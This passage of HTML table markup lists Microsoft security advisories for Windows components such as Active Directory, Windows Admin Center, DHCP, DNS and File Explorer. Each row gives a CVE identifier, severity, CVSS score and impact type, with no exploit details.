  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
